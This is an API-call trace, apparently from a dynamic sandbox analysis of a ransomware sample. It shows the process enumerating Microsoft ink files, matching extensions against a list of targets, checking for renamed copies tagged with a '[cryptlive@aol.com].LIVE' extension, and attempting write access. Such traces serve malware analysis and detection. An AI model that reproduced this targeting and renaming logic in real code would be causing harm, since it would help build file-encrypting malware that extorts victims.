lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0168.200] lstrlenW (lpString=".xlsx") returned 5 [0168.200] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0168.200] lstrlenW (lpString=".ppt") returned 4 [0168.200] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0168.200] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0168.200] lstrlenW (lpString=".zip") returned 4 [0168.200] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0168.200] lstrlenW (lpString=".rar") returned 4 [0168.200] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0168.200] lstrlenW (lpString=".bz2") returned 4 [0168.200] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0168.200] lstrlenW (lpString=".7z") returned 3 [0168.200] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0168.200] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0168.200] lstrlenW (lpString=".dbf") returned 4 [0168.200] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0168.200] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0168.200] lstrlenW (lpString=".1cd") returned 4 [0168.200] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0168.200] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0168.200] lstrlenW (lpString=".jpg") returned 4 [0168.200] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0168.201] Sleep (dwMilliseconds=0x64) [0168.416] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0168.416] lstrlenW (lpString="Alphabet.xml") returned 12 [0168.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0168.417] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=791686) returned 1 [0168.417] CloseHandle (hObject=0x1d4) returned 1 [0168.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0168.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0168.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0168.417] lstrlenW (lpString=".doc") returned 4 [0168.417] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.417] lstrlenW (lpString=".docx") returned 5 [0168.418] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0168.418] lstrlenW (lpString=".pdf") returned 4 [0168.418] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.418] lstrlenW (lpString=".xls") returned 4 [0168.418] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.418] lstrlenW (lpString=".xlsx") returned 5 [0168.418] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0168.418] lstrlenW (lpString=".ppt") returned 4 [0168.418] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0168.418] lstrlenW (lpString=".zip") returned 4 [0168.418] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.418] lstrlenW (lpString=".rar") returned 4 [0168.418] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.418] lstrlenW (lpString=".bz2") returned 4 [0168.419] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.419] lstrlenW (lpString=".7z") returned 3 [0168.419] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0168.419] lstrlenW (lpString=".dbf") returned 4 [0168.419] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0168.419] lstrlenW (lpString=".1cd") returned 4 [0168.419] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0168.419] lstrlenW (lpString=".jpg") returned 4 [0168.419] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0168.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0168.419] lstrlenW (lpString=".doc") returned 4 [0168.419] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.419] lstrlenW (lpString=".docx") returned 5 [0168.419] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0168.419] lstrlenW (lpString=".pdf") returned 4 [0168.419] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.419] lstrlenW (lpString=".xls") returned 4 [0168.419] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.419] lstrlenW (lpString=".xlsx") returned 5 [0168.419] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0168.419] lstrlenW (lpString=".ppt") returned 4 [0168.419] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0168.419] lstrlenW (lpString=".zip") returned 4 [0168.419] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.419] lstrlenW (lpString=".rar") returned 4 [0168.419] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.419] lstrlenW (lpString=".bz2") returned 4 [0168.419] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.419] lstrlenW (lpString=".7z") returned 3 [0168.419] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0168.420] lstrlenW (lpString=".dbf") returned 4 [0168.420] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0168.420] lstrlenW (lpString=".1cd") returned 4 [0168.420] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0168.420] lstrlenW (lpString=".jpg") returned 4 [0168.420] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.420] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0168.420] lstrlenW (lpString="Content.xml") returned 11 [0168.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0168.421] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=27045) returned 1 [0168.421] CloseHandle (hObject=0x1d4) returned 1 [0168.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0168.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0168.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0168.421] lstrlenW (lpString=".doc") returned 4 [0168.421] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.421] lstrlenW (lpString=".docx") returned 5 [0168.421] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0168.421] lstrlenW (lpString=".pdf") returned 4 [0168.421] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.421] lstrlenW (lpString=".xls") returned 4 [0168.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.421] lstrlenW (lpString=".xlsx") returned 5 [0168.422] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0168.422] lstrlenW (lpString=".ppt") returned 4 [0168.422] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0168.422] lstrlenW (lpString=".zip") returned 4 [0168.422] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.422] lstrlenW (lpString=".rar") returned 4 [0168.422] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.422] lstrlenW (lpString=".bz2") returned 4 [0168.422] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.422] lstrlenW (lpString=".7z") returned 3 [0168.422] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0168.422] lstrlenW (lpString=".dbf") returned 4 [0168.422] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0168.422] lstrlenW (lpString=".1cd") returned 4 [0168.422] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0168.422] lstrlenW (lpString=".jpg") returned 4 [0168.422] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0168.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0168.422] lstrlenW (lpString=".doc") returned 4 [0168.422] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.422] lstrlenW (lpString=".docx") returned 5 [0168.422] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0168.422] lstrlenW (lpString=".pdf") returned 4 [0168.423] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.423] lstrlenW (lpString=".xls") returned 4 [0168.423] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.423] lstrlenW (lpString=".xlsx") returned 5 [0168.423] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0168.423] lstrlenW (lpString=".ppt") returned 4 [0168.423] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0168.423] lstrlenW (lpString=".zip") returned 4 [0168.423] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.423] lstrlenW (lpString=".rar") returned 4 [0168.423] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.423] lstrlenW (lpString=".bz2") returned 4 [0168.423] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.423] lstrlenW (lpString=".7z") returned 3 [0168.423] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0168.423] lstrlenW (lpString=".dbf") returned 4 [0168.423] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0168.423] lstrlenW (lpString=".1cd") returned 4 [0168.423] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0168.423] lstrlenW (lpString=".jpg") returned 4 [0168.423] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.423] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0168.423] lstrlenW (lpString="boxed-correct.avi") returned 17 [0168.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0168.425] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=89600) returned 1 [0168.425] CloseHandle (hObject=0x1d4) returned 1 [0168.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0168.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0168.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0168.425] lstrlenW (lpString=".doc") returned 4 [0168.425] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0168.425] lstrlenW (lpString=".docx") returned 5 [0168.425] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0168.425] lstrlenW (lpString=".pdf") returned 4 [0168.425] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0168.425] lstrlenW (lpString=".xls") returned 4 [0168.425] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0168.425] lstrlenW (lpString=".xlsx") returned 5 [0168.425] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0168.425] lstrlenW (lpString=".ppt") returned 4 [0168.426] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0168.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0168.426] lstrlenW (lpString=".zip") returned 4 [0168.426] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0168.426] lstrlenW (lpString=".rar") returned 4 [0168.426] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0168.426] lstrlenW (lpString=".bz2") returned 4 [0168.426] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0168.426] lstrlenW (lpString=".7z") returned 3 [0168.426] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0168.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0168.426] lstrlenW (lpString=".dbf") returned 4 [0168.426] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0168.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0168.426] lstrlenW (lpString=".1cd") returned 4 [0168.426] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0168.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0168.426] lstrlenW (lpString=".jpg") returned 4 [0168.426] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0168.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0168.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0168.426] lstrlenW (lpString=".doc") returned 4 [0168.426] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0168.426] lstrlenW (lpString=".docx") returned 5 [0168.426] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0168.426] lstrlenW (lpString=".pdf") returned 4 [0168.426] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0168.426] lstrlenW (lpString=".xls") returned 4 [0168.426] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0168.426] lstrlenW (lpString=".xlsx") returned 5 [0168.426] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0168.427] lstrlenW (lpString=".ppt") returned 4 [0168.427] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0168.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0168.427] lstrlenW (lpString=".zip") returned 4 [0168.427] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0168.427] lstrlenW (lpString=".rar") returned 4 [0168.427] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0168.427] lstrlenW (lpString=".bz2") returned 4 [0168.427] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0168.427] lstrlenW (lpString=".7z") returned 3 [0168.427] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0168.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0168.427] lstrlenW (lpString=".dbf") returned 4 [0168.427] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0168.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0168.427] lstrlenW (lpString=".1cd") returned 4 [0168.427] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0168.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0168.427] lstrlenW (lpString=".jpg") returned 4 [0168.427] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0168.427] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0168.427] lstrlenW (lpString="boxed-delete.avi") returned 16 [0168.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0168.429] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=31744) returned 1 [0168.429] CloseHandle (hObject=0x1d4) returned 1 [0168.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0168.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0168.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0168.429] lstrlenW (lpString=".doc") returned 4 [0168.429] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0168.429] lstrlenW (lpString=".docx") returned 5 [0168.429] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0168.429] lstrlenW (lpString=".pdf") returned 4 [0168.429] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0168.429] lstrlenW (lpString=".xls") returned 4 [0168.429] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0168.429] lstrlenW (lpString=".xlsx") returned 5 [0168.430] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0168.430] lstrlenW (lpString=".ppt") returned 4 [0168.430] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0168.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0168.430] lstrlenW (lpString=".zip") returned 4 [0168.430] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0168.430] lstrlenW (lpString=".rar") returned 4 [0168.430] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0168.430] lstrlenW (lpString=".bz2") returned 4 [0168.430] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0168.430] lstrlenW (lpString=".7z") returned 3 [0168.430] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0168.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0168.430] lstrlenW (lpString=".dbf") returned 4 [0168.430] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0168.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0168.430] lstrlenW (lpString=".1cd") returned 4 [0168.430] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0168.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0168.430] lstrlenW (lpString=".jpg") returned 4 [0168.430] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0168.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0168.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0168.430] lstrlenW (lpString=".doc") returned 4 [0168.430] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0168.430] lstrlenW (lpString=".docx") returned 5 [0168.431] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0168.431] lstrlenW (lpString=".pdf") returned 4 [0168.431] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0168.431] lstrlenW (lpString=".xls") returned 4 [0168.431] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0168.431] lstrlenW (lpString=".xlsx") returned 5 [0168.431] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0168.431] lstrlenW (lpString=".ppt") returned 4 [0168.431] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0168.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0168.431] lstrlenW (lpString=".zip") returned 4 [0168.431] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0168.431] lstrlenW (lpString=".rar") returned 4 [0168.431] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0168.431] lstrlenW (lpString=".bz2") returned 4 [0168.431] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0168.431] lstrlenW (lpString=".7z") returned 3 [0168.431] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0168.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0168.431] lstrlenW (lpString=".dbf") returned 4 [0168.431] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0168.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0168.431] lstrlenW (lpString=".1cd") returned 4 [0168.431] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0168.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0168.431] lstrlenW (lpString=".jpg") returned 4 [0168.431] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0168.432] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0168.432] lstrlenW (lpString="boxed-join.avi") returned 14 [0168.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0168.433] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=33280) returned 1 [0168.433] CloseHandle (hObject=0x1d4) returned 1 [0168.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0168.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0168.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0168.434] lstrlenW 